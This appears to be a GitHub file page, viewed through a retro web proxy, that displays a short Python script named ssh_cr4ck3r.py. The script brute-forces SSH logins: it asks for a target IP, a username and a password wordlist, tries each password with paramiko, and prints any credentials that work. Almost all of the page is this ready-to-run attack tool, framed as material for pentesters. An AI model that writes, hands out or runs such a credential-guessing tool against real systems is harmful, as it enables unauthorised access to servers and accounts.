GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — python4pentesters/ssh_cr4ck3r.py at main · 4n4rch0/python4pentesters

Expand file tree

/

ssh_cr4ck3r.py

Copy path
More file actions
More file actions

Latest commit

 

History

History
History
60 lines (47 loc) · 1.85 KB
/

ssh_cr4ck3r.py

Copy path

File metadata and controls

60 lines (47 loc) · 1.85 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# @AUTHOR: 4N4NRCH0
# The powerful Python language is supported by a number of modules that easily extend its capabilities
# Paramiko is an SSHv2 implementation that will be useful in building SSH clients and servers.
import paramiko
import sys, os
import pyfiglet
from colorama import init, Fore, Back
def banner(titel):
init()
print(Fore.RED+"*"*65+Fore.RESET)
print(17*"-"+"\tCREATED BY 4N4RCH0\t"+"-"*17)
print(Back.BLACK+Fore.RED+pyfiglet.figlet_format(titel, font="avatar")+Back.RESET+Fore.RESET)
print(Fore.RED+"*"*65+Fore.RESET)
banner(" $$H CR4CK3R ")
try:
target = str(input('Please enter target IP address: '))
username = str(input('Please enter username to bruteforce: '))
password_file = str(input('Please enter location of the password file: '))
def ssh_connect(password, code=0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(target, port=22, username=username, password=password)
except paramiko.AuthenticationException:
code = 1
ssh.close()
return code
with open(password_file, 'r') as file:
for line in file.readlines():
password = line.strip()
try:
response = ssh_connect(password)
if response == 0:
print(Fore.GREEN+f'[ + ] LOGIN SUCCESSFUL: {username}:{password}'+Fore.RESET)
exit(0)
elif response == 1:
print(Fore.RED+f'[ - ] LOGIN FAILED - USED PASSWORD: {password}'+Fore.RESET)
except Exception as e:
print(e)
pass
input_file.close() # type: ignore
sys.exit()
except KeyboardInterrupt:
sys.exit()
except Exception as e:
print(Fore.RED+f"[ERROR]\t{e}"+Fore.RESET)
sys.exit()
You are visitor 01402520 — GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.